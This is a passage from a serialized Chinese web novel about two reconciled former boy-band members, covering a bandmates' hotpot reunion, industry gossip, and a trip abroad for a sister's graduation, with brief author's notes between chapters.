有的时候路煌也会庆幸,自己的起点已经是很多人的终点了。所以他不会看不起努力的人,也不会觉得好友努力打拼事业,不常与他联系有什么不对。每一个努力的人都值得敬佩。 许稚舒比了个OK的手势,接了电话。 “单老师,今天怎么有空啊?”许稚舒语气里带着笑意,温柔的语调一如往常。 那头的单长清没忍住就乐了:“我哪有许老师忙啊?这次许老师百忙之中还愿意问我要签名照,我荣幸得差点就发微博炫耀了。” 抛开路煌这个完全退圈的不算,剩下他们四个里,许稚舒无疑是现在发展得最好的,也是最赚钱的。贺漾凭借许稚舒的一首《释然》站稳了单飞后的地位,可在版权可持续收入这点上,许稚舒依旧是最赚的那个。 “和你们比起来,我可真不算忙了。”至少他用不各个城市地飞,能待在一个地方,每天都是安定的生活,对许稚舒来说就很舒适,“你回海源了吗?” 上次单长清给他送完签名照,又匆匆出发去其他城市了。 “对,上午刚落地。最近能休息一段时间了,想问问你们有没有空,咱们聚一聚。”单长清开始发挥自己的组织才能。 许稚舒这边肯定没问题:“我周末双休息,平日的话晚上都可以。看你们的时间吧。” 他们几个人一起,谁都没必要装忙,实话实说就行了。 “成,那我再打电话问问贺漾和西卓。那个,路煌那边忙不忙,你知道吗?”单长清问得很小心,似乎是怕许稚舒不高兴。 想来站在单长清的角度,许稚舒很能理解。在其他三个人看来,他和路煌现在处于分手后的状态,而且通过媒体捕风捉影的八卦,弄得两个人好像各自都要准备结婚了似的,可作为曾经的队友,他们不得不顾及两个人的感受。单长清这么问,也是试探许稚舒的态度,以及两个人平日有没有联络。担心万一没组织好,弄得两个人尴尬,就伤感情了。 “不知道,我们很久没联系了。”许稚舒开始扯慌,为了显得真实一点,别语气听着就很愉快,他还把头撇到一边不看路煌。 “这样吗?之前看你和初黎有合作,还以为你们不时会见面。”单长清作为一个感情小白,别的方面他还能劝几句,感情上他是真没什么发言权,面子上的车轱辘话说来说去,恐怕对两个人也没有帮助。 “没有。”许稚舒的话尽量简短,才显得有可信度。 单长清沉默了一下,说:“如果路煌能空出时间,我想请他一起过来聚,可以吧?” 他还是征求了许稚舒的意见。 “当然。放心吧,我们又不是小孩儿,也没闹别扭,该怎么样就怎么样。”许稚舒说得自己都很想笑,只能抿着嘴唇尽量控制。 单长清松了口气:“行,那我跟他们三个联络一下,定好了时间给你发消息。我想着去别的地方不方便,不如就来我家聚吧。” “行,我等你消息。”许稚舒回道。 单长清自己住,买的别墅很漂亮,就是位置略偏,不过也确保了不会有记者闲着没事去蹲他,去他家聚会的确是非常好的选择。 挂了电话,许稚舒终于还是没忍住笑了出来:“骗人居然还是个技术活儿。”尤其还是当着路煌的面编谎话。 路煌已经把桌面收拾干净了:“给他们一个惊喜。” “我看你只是想吓他们一跳吧?” 路煌并不否认。 许稚舒吐槽他:“幼稚。” 路煌不置可否,也不是谁都能让他幼稚起来的。能展现出幼稚的一面,说明此时他很开心。 没出两分钟,路煌的手机也响了,不出意外的,是单长清打来的。 路煌迅速挂断,然后给他回了消息,说自己正在忙,空了联系他。 许稚舒托着下巴看他演,路煌这么做的确有点不厚道,可他这个“帮凶”好像也没厚道多少。 稍作休息后,许稚舒就准备回工作室了。路煌送他去地下停车场。 许稚舒的车就停在路煌专用的停车位上,这边一共两个车位,他们一人占一个。路煌拉着许稚舒的手,还不想让他走。 “我应该在公司给你准备一间音乐室,这样你就不用回去了。”路煌很清楚话是这么说,但实现的可能性不大,因为许稚舒并不是初黎的员工,无故在这儿工作,早晚会被觉察出问题。 “想的很好,下次别想了。”许稚舒靠着自己的车门,两个人贴近的距离并没为他开门留出空间。 路煌轻笑,低头吻他。这边没有监控,不用担心被拍到。 交融的呼吸带着湿润柔软的触感,两个人不同的香水味穿插在一起,形成了一股更为复杂的味道,许稚舒的眼睛慢慢染上湿气,在昏暗的环境里更显明亮。 路煌抓着他的手,后变成十指相扣,许稚舒越是承受不住想躲,路煌就越要更近一步,吻越来越深,许稚舒抑制不住地发了轻哼。 路煌很享受这个过程,许稚舒的每一个反应都能激起他的占有欲和操控欲。 这时,远处传来说话声,应该是有员工下来用车了。 许稚舒赶紧推开路煌,就算路煌的专用停车位另做了隔断,除非走到近前,否则根本看不到他们,许稚舒也还是推开了他。害怕是不至于的,只是不合时宜。他又没有那种寻求刺激的爱好。 路煌被他一系列的举动逗乐了,正想安抚他几句,就见许稚舒迅速上了车,点火,系安全带,然后压下车窗,说了句“晚上见”,就逃似地跑了。 路煌笑出了声,许稚舒仓皇而逃的样子就像一只把头扎进沙子里的猫,可爱、有趣,自以为这样就是最完美的解决方案,却不知道其实是进一步点燃了他的占有欲,还有向外界宣示所有权的冲动—— 作者有话说:感谢支持! 第45章 因为是在单长清家里聚餐, 煎炒烹炸的并不现实,请人来做对他们来说都不方便,所以餐食毫无争议地选择了火锅。 单长清再与许稚舒联系, 告诉他时间时, 说让他空着手来就行,食材他来准备。并告诉他路煌来不了, 工作太忙了。 许稚舒也只能继续装若无其事地应了, 说自己一定准时到。 虽然单长清说了不需要带东西,但毕竟是多了一个人,两个人怕单长清按四个人的食量准备食材,吃得不够尽兴,所以去之前还是先到了超市,买了些牛肉片和蔬菜, 这才赶往单长清家。 单长清家他们来过挺多次了,可以说是熟门熟路, 门禁那边也录入了他们的车牌号,可以直接开车进去。 “叮咚——” 许稚舒按响了门铃。 这是一片别墅区, 别墅面积不算大, 一个人住也不会觉得空荡。小区环境非常好,安保也十分到位,如果不是位置略远, 这里可能也会成为贺漾和纪西卓以后买房的首选, 毕竟住得近,相互都能有个照应。 单长清按开了房子大门,两个人提着东西进去,许稚舒走在前面。 随后通往室内的门打开,单长清刚想笑说着“来了”, 就看到许稚舒身后的路煌,顿时话全卡在喉咙里,惊讶完全没有掩饰。 “至于吗?这么意外?”路煌笑道。 “卧槽!你不是说没空吗?”单长清没控制住音量,让在厨房洗菜的贺漾和纪西卓都听到了。 “咋了?”两个人走出来看情况,在看到路煌后,也不禁张大了嘴巴。 要说路煌来了,并不至于让他们意外成这样,关键是这两个人是一起来的!如果说只是碰巧遇上了,路煌在根本不知道聚会时间的情况下,未免巧得过于离谱了。 “逗你玩的,咱们五个人聚会,没空也得空出时间来。”路煌并不是说漂亮话,他即便退圈后与大家联系甚少,可如果这几个人找他,他是不可能推脱的。 贺漾反应最快,眼睛在两个人身上来回打量,他最清楚两个人分手后许稚舒是什么状态,即便表面看起来没什么问题,但细看还是能感觉到没有那么精神。而现在许稚舒的状态完全回来了,甚至比在团里的时候还好。 “你们两个!老实交代!”贺漾大声道。 许稚舒笑起来。 路煌则牵上许稚舒的手,说:“和好了。” “卧槽!”贺漾指着两个人。 “我就知道分不了。”单长清声音不大,却足够让人听清楚。 纪西卓满脸笑意:“太好了!终于一切都回到正轨上了。” “审查完了吧?还不让进门?”路煌打趣道。 单长清忙说:“快进来,马上就能吃饭了。” 火锅汤底已经煮上了,五个人都吃辣,就不需要那么麻烦做两份汤底。 两个人来之前,其他三个人就已经在厨房忙着洗菜了。许稚舒又带了些东西来,都是不难处理的,许稚舒和单长清一起继续洗菜,贺漾负责把肉的包装全拆开,纪西卓去摆放碗筷、蘸料和饮料,路煌则把装好盘的东西都拿到桌上。 忙活完已经是十五分钟后了,五个人这才围桌而坐,火锅咕嘟咕嘟冒着热气,蔬菜散发着水灵灵的气息,饮料拉环发出的声响预示着午餐正式开始。 “从解散到现在,咱们五个人这是第一次聚齐。”单长清举杯,“很高兴看到我们都过得很好,都还在为自己的梦想努力。也很高兴路煌和稚舒又走到了一起,只希望你们两个以后多给我们惊喜,别给我的惊吓就行。” 路煌难得脸上全程带笑:“放心吧,以后不让你们为我们操心,干杯!” “干杯!” 五个人一起碰杯,气氛一下就起来了。随着各种食材被放进锅中,等待食物煮熟的过程总是让人望眼欲穿的,尤其是这种本来就很好熟的食物。 等锅里再次沸腾,五双筷子谁也不比谁迟,三两下就把锅里的肉片捞了个干净,随后又下了第二轮。火锅就是要抢着吃才有意思,即便量很足,每个人都能吃饱,甚至多半会有剩余,也打不破这种抢的乐趣。 胃里有底了,大家吃的速度都慢下来。 单长清这才问:“你们两个怎么想通了?家里同意了?” 就算两个人不说,他们也都清楚,路煌家里必定是阻碍。 “没有。”现在提到家里,路煌已经不纠结了,甚至开始变得坦然,“但日子是两个人过的,家里就顺其自然吧。比起与家里对抗,分开更难接受。” “那稚舒岂不是难做了?”贺漾肯定是向着许稚舒的,怕许稚舒委曲求全。 “也还好。”许稚舒笑道,“放心吧,我与他家里没有太多接触,后面他家里长辈也没再找过我。” 纪西卓还是不怎么放心:“哥,要是遇上困难,路哥不好解决的,你一定要跟我们说。人多力量大,总能想出办法的。” “好。”这次许稚舒没表示出自己能扛住的意思,他发现有的时候也许自己并不需要,可朋友们的好意也不应该辜负。适时地倾诉自己的不如意,也是对朋友信任的一种表现。当然了,他现在没有一点不如意的地方。 单长清还是不太放心,问路煌:“你到底有没有谱?我怕你家急眼了,再用其他方式逼你。” 他说的已经很含蓄了,他相信路煌能明白他的意思。他就是担心路家动用资源,让两个人都混不下去,他倒不担心两个人手里没有存款过活,而是担心精神上的压力太大,这可比经济上的更难搞。 “放心吧,有我大哥呢。”路煌顿了一下,又说,“我家应该不至于这么缺德。” 他不敢百分之百确定绝无可能,至少如果家里决定这样做,他大哥应该会提前通知他。而且如果家里真这样做了,那他可真会对家里彻底失望,到时候也就没有任何可留恋的了。 单长清略放心了些,这两个人的恋爱他们都看在眼里,这么多年了,若是真分开了,谁能不说一句可惜呢? 许稚舒伸筷子一捞,夹了块他不想吃的酥肉,便顺手丢进了路煌碗里。看在别人眼里,就是真的回到了在团的时候,许稚舒不吃的东西总会丢给路煌。正常来说,路煌应该才是那个会挑食的,结果恰恰相反。 第三轮肉下到锅里,这会儿大家都不着急吃了,喝着饮料降温,吃火锅总是很容易热。 “西卓,最近有接新戏吗?”许稚舒关心地问。自上次去给纪西卓探班后,他就没再听到纪西卓进组的消息。 “没有大制作的戏,也没有特别重要的角色。小角色进组拍个十天左右就差不多了。”纪西卓并不气馁,“我拍的作品还没播,机会肯定没有那么多,我不着急,慢慢来吧。” “你能有这种心态就好。”许稚舒放心了,就算纪西卓影视圈没混明白,想继续做音乐,他也可以成为纪西卓的后盾。 “的确,西卓也是长成大人了。”贺漾坐在旁边感慨。 “和那些刚开始打拼的演员比,我已经很幸运了。”纪西卓很知足,“至少我还有足够的存款做支撑。” 单长清笑说:“咱们西卓现在也是会算账的人了。” 可能因为纪西卓没成年就能赚不少钱了,所以对钱并没有概念。平时五个人一起出门,无论是吃饭还是买东西,基本都不用他买单,所以纪西卓感觉不到赚钱的好处,也对东西是便宜是贵没有太多想法。但这并没有导致他肆意挥霍,反而是非真的必要的东西,他都不买。 “我也是在影视圈看多了,才知道影视圈的钱的确好赚,进账也丰厚,但太多人长时间处于等机会的状态,最后存款用得差不多了,只能另谋他路了。”纪西卓知道自己看到的并不完全,可作为一个从出道就顺风顺水的人,这些已经足够让他感叹自己的幸运了。 “也是,歌手再没有机会,去商场路演,去乡下参加露天活动,也总能有个展示的舞台。演员就难得多了,就算去拍网剧,竞争压力也是很大的。万一剧本一改,戏份一剪没,真就是白折腾。”贺漾就算没见过,也听过不少,这个圈子哪有什么真正的秘密呢? 单长清往锅里下了些蔬菜:“别说那些让人灰心的事了。给你们说个好消息,我要有自己的节目了。” “什么类型的?”纪西卓立刻被勾起了好奇心。 “一档聊天类的节目,面对面坐着聊,我和嘉宾一对一那种。”单长清做着介绍,“希望能聊到一些有深度的话题,当然了,这个也不一定,没有脚本的,就是随便聊,能聊到什么样算什么样。” “听起来场面不是太好控制啊。”贺漾想想那个画面,万一遇到只顾自我展示的嘉宾,应该会很难搞。 “所以啊,请的都是我的朋友,至少得是我交谈过的人,我也不想自己的节目翻车。”单长清对嘉宾的要求很明确,“所以你们几个,一个都跑不了。” “我也要参加?”路煌问。他算是退得最彻底的。 “当然了,你就当我是蹭你的热度吧。反正我觉得有你们来,我节目的收视肯定差不了。”单长清很清楚怎么样能获得热度。纪西卓是影视新人,他何尝不算是综艺新人呢?借着之前那档旅行节目反响不错,他想乘胜追击,做一档能够持续发力的节目。 只不过现在很多专业的主持人也开始走网络平台这个赛道,并不全往电视台挤,所以他所处的竞争环境就更为激烈了。 如果路煌还在家里的公司,或许他做接受采访这样的决定会更谨慎一些。但现在他只是初黎的老板,就没有那么多顾虑了,看起来是在帮单长清,实际上也能为初黎做一个好的宣传,属于双赢。 其他三个人都没有意见,权当是去捧场了,既然没有脚本,那聊到什么样就到时候再看吧,总不至于四期下来把节目干倒闭了吧。 单长清说完节目的事,几个人又关心起了初黎的后续发展。知道是许稚舒来做To ver的回归,大家既担心又期待。 “我还想找你邀歌来着,看来你暂时没空管我了。”贺漾是真心想再跟许稚舒合作的。 “你需要的话,我肯定管你啊。”许稚舒没有拒绝贺漾的理由,只要有合适的歌。跟贺漾合作对他来说很轻松,可以说是聊着天就把赚钱了。 “真的?”贺漾高兴了,“我也差不多应该回归了,但还没开始向音乐人邀歌,我的首选肯定还是你。” “行,你有想要的风格吗?”许稚舒问。 “还没想好,看你灵感呗。”贺漾相信灵感创造奇迹。 许稚舒点头说:“行,我想想,月底之前给你答复。” 聊了这么多了,五个人才想起来还没一起拍张照。对许稚舒和路煌来说,拍不拍都行,但对其他三个人来说,这可是非常值得纪念的日子,发微博都是流量。 路煌和许稚舒并不觉得他们想发微博有什么问题,他们也是从这个阶段过来的,很懂得宣传的必要性。 于是单长清执着手机,其他四个人往镜头里凑。 “准,一、二、三!” 就这样,五个人拍了许多照片。还要注意体重管理的三个人开始挑照片,发微博。 许稚舒和路煌则继续吃东西,许稚舒也再次感叹退居幕后的好处。 三个人几乎是同一时间发布的微博,Infinite私下重聚的话题一下就点燃了粉丝的热情,没出几分钟就冲上了热搜。 【啊啊啊啊啊,有生之年系列吗?!!】 【天呐,这照片太美好了!】 【许稚舒的脸还是那么权威,这样我就放心了。】 【CP粉已经内流满面,就算我嗑的CP已经BE,我也坚信这一刻才是真实的,BE一定是某个平行时空的产物!】 【哇,路煌和许稚舒是坐在一起的哦。】 【五个人仿佛还是和之前一模一样,真好。】 【绝美友情!】 …… 所有粉丝都在为他们的重聚感到高兴,看到他们聚餐,每个人都洋溢着笑容,仿佛一切都没有变,又仿佛时间倒流了,一切都还是最完美的模样。 “真好。”贺漾看着那些评论感慨。 “是啊。”单长清笑起来。 路煌和许稚舒没刷手机,听他们的语气就大概能猜出粉丝说什么了。 “以后常聚吧。不发微博也聚。”纪西卓道。 四个人纷纷应好,只要情分经过了时间的考验,就真的能长久下去。在这个圈子里,真友情是非常难得的。而他们都有,就已经是莫大的幸运了—— 作者有话说:感谢支持! 明天有事要忙,请假一天哦!周一见! 第46章 五个人一直聚到天黑才散, 热闹过后的冷清带来的落差多少会让人空落落的,好在许稚舒跟路煌一起回家,这种感觉不是那么明显。 “这边虽然远了一点, 但开车还是很方便的。”路煌说。 这边没有七拐八绕的道, 就一条大道一直开就行,路上车子不多, 也不用开得太快, 打开的车窗吹进属于春天的暖意,风也变得软软的,吹着很舒适。 “是啊,不赶着朝九晚五的上班的话,在这边生活还是很自在的。”这一片没有许稚舒想要的高层,不过也不影响他的评价。 “要是以后贺漾和西卓也在这里买房子, 哪我们也买一套吧。不用常住,赶上大家都没事的时候住得近一些, 聚着方便。”路煌提议。 “可以。”许稚舒欣然同意。高层有高层的好处,但别墅也有它的优势。尤其单长清住的这个小区, 别墅的院墙和院门都很高, 隐私性还是有保证的。在院子里放一套桌椅,再种一坛小花,也是悠然自得的快乐日子。 进入市区, 车子变得多起来, 许稚舒将音乐声音调小,不再跟路煌说话了,好让他能专心开车。许稚舒则拿出手机,原本只是想看看三个人发的微博,结果意外地看到了杨阅又在那里大放厥词。 原来是今天上午, 初黎娱乐发布了Breeze的具体回归日期。这本来是很正常的一件事,结果跟Breeze同期的Serein的粉丝跳出来,纷纷质问纬弦娱乐Serein为什么还没有回归,是不是因为成绩没达预期,公司想要雪藏? 粉丝们有这个猜测并不意外,除了刚出道那一两个月Serein的活动比较多之外,后面就完全没有动静了。不像Breeze,时不时地还会有各种演出、见面会,也有一些小型综艺让他们露脸。 往常这种情况,公司是不必理会的。毕竟回归准备都是悄悄进行,最大程度地做好保密工作,才能给粉丝惊喜。 但杨阅不知道怎么想的,居然自己开了微博跳了出来。表示好歌曲要细细打磨,怎么可能回归这么快?多半是为了圈钱。 这下Breeze的粉丝不干了,之前Serein就没干过Breeze,现在Breeze回归,Serein的老板就在这儿酸,怎么看怎么是个傻缺! 于是嘲讽的、骂的全涌了上去。杨阅大概是没这么直接地受过这么大的气,居然跟粉丝对骂起来。 这下可热闹大了,一个娱乐公司大老板,跟对家男团粉丝骂起来,这放在以往简直是不可想象的。之所以一直在热搜吊车尾,估计是花钱压了,但并没压得很彻底。加上Infinite三个人发了微博,五人聚会的热度现在是现在热搜的焦点,自然分给其他话题的热度就少了。 许稚舒刷得倒是很起劲儿,他不知道杨阅是真的天真,还是脑子本就不好使,估计公司也管不到他头上,否则断然不会让这种事发生。 “看什么呢?这么高兴?”见他嘴角上扬,路煌不禁问道。 许稚舒笑了,关于杨家的事,他除了能跟杨观说,就只能跟路煌说了。于是一股脑地把他们分手以后,关于从杨观那里听到的杨家的情况,以及今天的热搜全讲了。 路煌倒是对杨阅有了几分同情:“他爸妈就不考虑带他去看看智商?” 许稚舒笑说:“这个年纪去看也没什么意义吧?” “那也得看看,否则纬弦垮台也用不了多久了。”娱乐公司的成败的确不是哪一个制作环节能决定的,但老板如果是个傻缺,再好的团队也运作不起来。 “我倒是觉得他一直保持这样的自信挺好的。”许稚舒收起手机,“杨立致后期弄的那个岸边传媒到现在也没见到水花,这中间的投入恐怕不是小数目,投资的《听一首歌》第二季,后期也拉胯了,应该看不到回头钱。现在纬弦再作,双管齐下,说不定能尽早把他气进医院去。” 路煌笑说:“还真是。让你这么说,我倒是有些期待杨阅继承杨立致所有的公司,让杨立致看着它们是怎么倒闭,自己却无能为力的样子了。” “杨立致现在但凡清醒一点,最好的办法就是把我大哥请回去管公司。” “怎么?杨观能管好?” “管不管好不知道,大哥反手把公司全卖了的可能性更大。到时候带钱跑路,大家都省心了。” 路煌笑他:“坏主意挺多啊。” 许稚舒耸耸肩:“是杨阅先招惹我的。” 还是那句话,如果杨阅怎么不跳出来,许稚舒是想不起他这个人的。 回到家,许稚舒先洗了澡,然后就进了音乐室为To ver的新歌做调整和灵感记录。聚会可以增加人的愉悦值,心情好了,灵感自然就多了。哪怕是很片面的东西,只要有心整理,依旧能带来不错的想法。 路煌洗完澡出来,就直接进了音乐室,把人抱回了房间。 “我还没记录完呢。”许稚舒抱着平板抗议。 “去床上弄。今天的时间都分给其他人了,多陪我待一会儿。”对于跟许稚舒过二人世界的需求,路煌一直是比较多的。平时两个人工作忙,不能要求这么多。但今天两个人正常来说是不用工作的。 许稚舒摸了摸路煌的头发,把手里的平板放到一边,在路煌上床后,往他怀里一倒。 路煌一手搂着他,一手抓住他的手:“跟你说件有趣的事。” “什么事?”许稚舒靠在路煌身上就非常有安全感,甚至都不需要路煌做什么。 “刚才我哥给我发消息,说前天爷爷去参加聚会,也是一个大家族的老爷子组织着。这段时间生意不好做,倒了不少家族,还没出问题的就总得找些理由聚在一起聊一聊,看有没有内部消息,尽量规避风险。”路煌跟许稚舒说这些事的时候不会特别详细地介绍谁家怎样怎样,只是说个大概,让许稚舒知道有这个么家族就行,毕竟只是聊趣事,说太细了没有必要。 许稚舒安静地听,感受着路煌身上传递来的体温。 路煌:“原本聚得好好的,结果组织聚会的那家的儿媳妇冲了进来,对着她公公就是一顿数落,说他教子无方,重男轻女,因为她生了个女儿就一点表示都没有。还因为她产后伤了身体,不能再为家里添个男孩,就开始撺掇儿子跟她离婚,简直是脸都不要了。” “真厉害,在一众长辈面前就直接冲进去了?看来是真气得不清。”许稚舒只是想想那个画面,就很佩服女人的勇气了。一般人可能会顾及面子,不愿意闹这么大,关起门来怎么吵都行,在外人面前还是要收敛几分的。 “那家的儿媳妇娘家也是有生意在手的,两个人是相亲结婚的,感情基础本来就薄弱,婆家再不哄着点,有矛盾女方是不可能忍的。况且听说之前女方家里经济出了一点问题,请男方家里帮忙度一下难关,结果男方家各种找借口推脱,愣是没帮。后来是女方母亲的好友帮的忙。”路煌慢慢说着,就像在给许稚舒讲睡前故事。 “这就过分了吧?” “是啊。女方可能顾及到孩子,没提离婚,结果男方家里还能继续搞事。”路煌觉得女方这么闹,是没毛病的,“好笑的点来了,女方看到爷爷,就想到大哥大嫂到现在都没孩子,就指着自己的公公,说看看路家老爷子,孙子和孙媳妇到现在都没孩子,老爷子都没说什么,一家子其乐融融的,多好。然后又说自己公公就是个假仁义的搅家星,比不上路老爷子一半。” 许稚舒听完也乐了,明白了路煌说的有趣的点。 路煌继续说:“这下把爷爷架那儿去了,如果是以前,爷爷应该就心安理得地接受这份表扬了。但现在,从我跟爷爷吵了一架之后,也就是外人不知道罢了。爷爷自己很清楚这好名声他担不住,所以回到家提都没提。还是跟爷爷一起去参加聚会的其他人家的孙子今天见到我大哥,跟他说的这事。” “恐怕你爷爷会为了自己的名声愁得睡不好觉。”许稚舒对这种被架起来的状态也是既觉得好笑,又能明白老爷子的无奈。 “那就没办法了,爷爷当场没有反驳,以后就只能继续装呗。等哪天家里的事也被捅出去了,大不了爷爷在家装几个月鸵鸟,把脸皮练厚了,再装作无事地出门。”他不是想让爷爷难看,但这种事就是当时不反驳,事后就很难弄了。就算大家不会当着爷爷的面说什么,可老爷子要面子的,肯定会多想。 许稚舒微微叹了口气,他们各有立场,他并不会因为这样的事觉得高兴,也明白路煌说给他听也只是当作趣事罢了。他不奢望路老爷子为了面子就妥协,但至少老爷子应该不会在外为难路煌了,否则这个对外完美的路家和睦的泡泡就要被戳破了。 * 路家那边一直没有什么动作,相安无事的日子让许稚舒心绪安定,能够全身心地投入到工作中。 随着给To ver和贺漾的歌曲全部交付,许稚舒这一季度的工作也暂时告一段落,还是提前完成了任务。紧接着,Breeze的回归单曲《嬉闹》正式上线。 虽然这次除了音乐部分,许稚舒没有给出任何意见,但词曲和编曲都是许稚舒的名字,依旧可以引爆热搜。 贺漾、单长清和纪西卓都转发了Breeze的新歌,这是为许稚舒和路煌打气的最好方式。 因为工作顺利,路煌和许稚舒规划了一下时间,决定去参加路千瑗的毕业典礼,即便时间紧,只能在那边待两天,但就当是两个人约会了,时间长短不是问题,关键是只有他们两个人—— 作者有话说:感谢支持! 第47章 他们出发前就跟路千瑗说了, 路千瑗特别高兴,对毕业典礼更期待了。 只不过两个人也跟路千瑗说好了,毕业典礼当天, 路煌会过去, 许稚舒就不去了,等到第二天他们的母亲严妙回去了, 再一起吃饭。以免当天遇上, 严妙女士心里不高兴,再弄得不愉快,那好意反倒成了坏事。 路千瑗没有反对,许稚舒能来她已经很高兴了,实在没什么好挑的。 于是毕业典礼这天,路煌起了个大早, 赶往路千瑗的学校。许稚舒则在酒店睡了个懒觉,顺便简单倒个时差。 等他睡醒, 看着空空的床铺,心里就有点不高兴了。可能是两个人太久没有在起床后的第一时间看不到对方了, 许稚舒着实是没适应。下意识地想给路煌打个电话, 可看了一眼时间,这个时间毕业典礼应该刚刚开始,他就忍住了没有打扰。 以前看别人谈恋爱黏黏糊糊地总要待在一起, 他还挺不理解的。当时他跟路煌的感情也很好, 但并没有天天睡在一起,也没有很粘人,所以他一直以为自己的感情观是很理性的。直到今天,他才发现是因为心态不一样,当他认定了自己跟路煌不会再分开, 总希望见到对方就占了心里的主导地位,就算不会被淹没理性,也依旧会在心底加上一层依恋,不影响什么,只是在看不到地方的时候会有些失落。 当然,这些许稚舒是不会跟路煌说的,以免路煌太骄傲。 起床洗漱后,许稚舒就穿上衣服出门了。既然都出来了,他还是想在附近找家店吃早饭,感受一下这里不一样的风土人情。 这边的咖啡店很多,各有各的风格,开门也都很早。这个时间已经有当地的老人在路边买上一份报纸,边看边喝咖啡了。也有早上出门锻炼的人,在锻炼结束后选择到咖啡店吃过早餐再回去。 许稚舒坐在店外露天的座位上,徐徐的风若有似无地吹过,不热不凉,很是惬意。 喝着咖啡,吃着面包,非常简单的早餐因为有街景作陪,一点都不觉得无聊。 形色匆匆的上班族点一杯外带的咖啡,快步离开,成为这个时间街区独有的风景。衬托着许稚舒的悠闲倒显得与他这个年纪应做的事格格不入。 许稚舒突然有了MV拍摄的灵感,他立刻拿出手机开始纪录,他想在现在未来感越发重的MV视觉中,如果回归到生活元素中,或许也能带来清新感。 “许稚舒?”标准的中文让许稚舒下意识地转头,就看到店门口站着一个小姑娘。 确认是他后,小姑娘眼睛都亮了,双手在身前合十:“真的是你?你好,我是你的粉丝!” 许稚舒对粉丝向来是温柔的,况且是在异国他乡,像女孩这个年纪的,又出现在这里,多半是留学生,哪怕只是见到同胞,都不能让人表现得过于冷漠。 “你好。”许稚舒微笑着点头。 女孩走过来,有些语无轮次地说:“不好意思,我、我不是想打扰你,只是看到你太激动了。” “没关系,没打扰。”许稚舒能感觉到女孩的善意,而这样的来自粉丝的善意,他并不觉得陌生。 “你是出来旅行吗?”女孩小心翼翼的问,明显不是想打探他的隐私,只是想跟他聊聊天。 “对,出来放松一下。你是学生吧?”许稚舒随意地跟她聊。 “对,我今天上午没有课,就出来买些面包。这家面包超好吃的,送给你!”女孩把自己刚买好的一袋子面包放到他面前。 许稚舒忙摇手,说:“不用了,你吃吧。我住酒店没有可以加热面包的东西。” 女孩也意识到了这点,不好意思地笑了笑,但还是说:“真的很好吃哦!” 许稚舒想了片刻,从袋子里随便拿了一个:“我拿一个就好,谢谢你。” 女孩一下就更开心了:“嗯嗯。那个,能合张影吗?不方便的话也没关系。” “可以的。”许稚舒现在不是签约艺人,自己想合影不需要听公司规定。 女孩立刻拿出手机,和许稚舒来了张自拍:“谢谢!你写的歌我都有听,要加油哦!” “我会的。”许稚舒微笑着点头。 “那我不打扰你了。”女孩很有分寸地准备离开了,但走出去没几米,她又突然回头,大声道:“许稚舒,你要幸福哦!” 许稚舒笑容灿烂:“好,我会的。” 女孩愉快地跑走了。 这在许稚舒看来很平常的小插曲,却在国内时间当天下午冲上了热搜,粉丝们除了感慨许稚舒的脸和他一如既往对粉丝温柔外,更感叹女孩运气好,居然就这么水灵灵地遇上了。当然,这些都是后话了。 路煌参加家路千瑗的毕业典礼,跟母亲、大嫂和妹妹一起吃了午饭后,就回酒店了。 一进门,就看到拿着平板,蜷着腿坐在沙发上的许稚舒。 “回来了?”见他进门,许稚舒迎了一声。 “嗯。”路煌走过来,俯身亲了他一下,才问,“在干什么?” 平常许稚舒把平板拿出来,不是在工作就是在追剧。可现在许稚舒并没带耳机,他进门的时候也没听到平板传出任何声音,所以可以判定是在工作。只是过两个人说好了,旅行时间本来就短,要拒绝工作。 “有些灵感,记录一下。”灵感来了,许稚舒不可能视而不见,“不知道是不是换了地方,新鲜感太强了,灵感还挺多的。” 可在路煌看来,却是因为他没有陪着许稚舒,许稚舒太无聊了,想东想西的最后都成灵感了。路煌坐到许稚舒腿边,让他伸直了腿,小腿正好搭载他的大腿上。 路煌的手就放在他的小腿上,许稚舒的腿又直又白,是路煌抓起来刚刚好的围度,他以前就很喜欢抓着许稚舒的小腿,让他的腿环上自己的腰。 “和千瑗说好明天一起吃午饭,大嫂也来。我妈明天中午的飞机,不用我们去送机,她坐私人飞机回去。”路煌跟他说着明天的安排。 许稚舒点点头,小腿被路煌抓得有点热,也有点痒:“今天毕业典礼都顺利吗?” 他的意思是问路煌的母亲有没有为难路煌。 “都挺顺的,要看照片吗?”路煌不常拍照,尤其是退圈之后。但今天日子特别,他肯定还是得拍几张的。 “好啊。”许稚舒放下平板,调整了坐姿,跟路煌并排坐着,然后很自然地接过路煌的手机,慢慢翻看。 今天的绝大部分照片拍的都是路千瑗,然后是路千瑗跟陈玉欣、严妙的合照,只有两张是路煌和路千瑗拍的。但不管多少,每个人脸上都带着笑容,不难想象这一家到底有多温馨和睦,如果路煌的路没出差偏差的话,这种温馨之下就不会暗含波涛。 而作为聚集这份暗涌的人之一,许稚舒并不后悔,只要能和路煌在一起,哪怕掀起的是海啸,他也不在乎了。说他自私也行,反正他不在乎。 “拍得不错。”许稚舒对路煌的拍照技术还是可以肯定的,照片翻到最后,他又开始从后往前翻,“典礼办得还挺隆重的。” “场馆和学校里的布置的确不错,这样拍照的时候大家就不用挤在一起排队,很多地方都能拍到毕业的元素。”路煌对此相当满意,他不喜欢跟别人挤着拍照。 许稚舒点点头,继续回看照片,不知不觉今天的照片就过完了,随后刷到的就是他的照片。 许稚舒意外之余并未动声色,只是一直往前翻。路煌没关注他翻到哪儿了,只跟他说明天吃完饭的安排,想带他到这里的地标性建筑看看,因为时间比较紧,这次来只能看看风景,等下次有机会再来,他再带许稚舒领略这里的风土人情。 许稚舒都不知道这些照片路煌是什么时候拍的,场景基本都是在家里,有他在厨房做饭的;有在音乐室听歌的;有他刚洗完澡头发都还没干出来的;还有他在吃东西刷手机的……最近的一张是他们乘飞机过来时,路煌在飞机上拍的他的睡脸。无比日常,日常到路煌甚至没有挑角度,他自己也无知无觉,就是最自然的样子,但都拍得很好看。 许稚舒不禁笑了,逗他道:“偷拍我这么多照片,不会是想拿去卖钱吧?” 路煌这才意识到照片暴露了,不过他从没拒绝过许稚舒翻他手机,只是许稚舒从没有过这样的要求,否则早就应该发现了。 “想把你每天的样子都记录下来。”路煌凑过去,将许稚舒扑倒在沙发上。 许稚舒笑摸着他的脸:“像个变态。” 路煌也不恼:“你说什么就是什么。” 许稚舒主动亲了他一下:“我喜欢。” 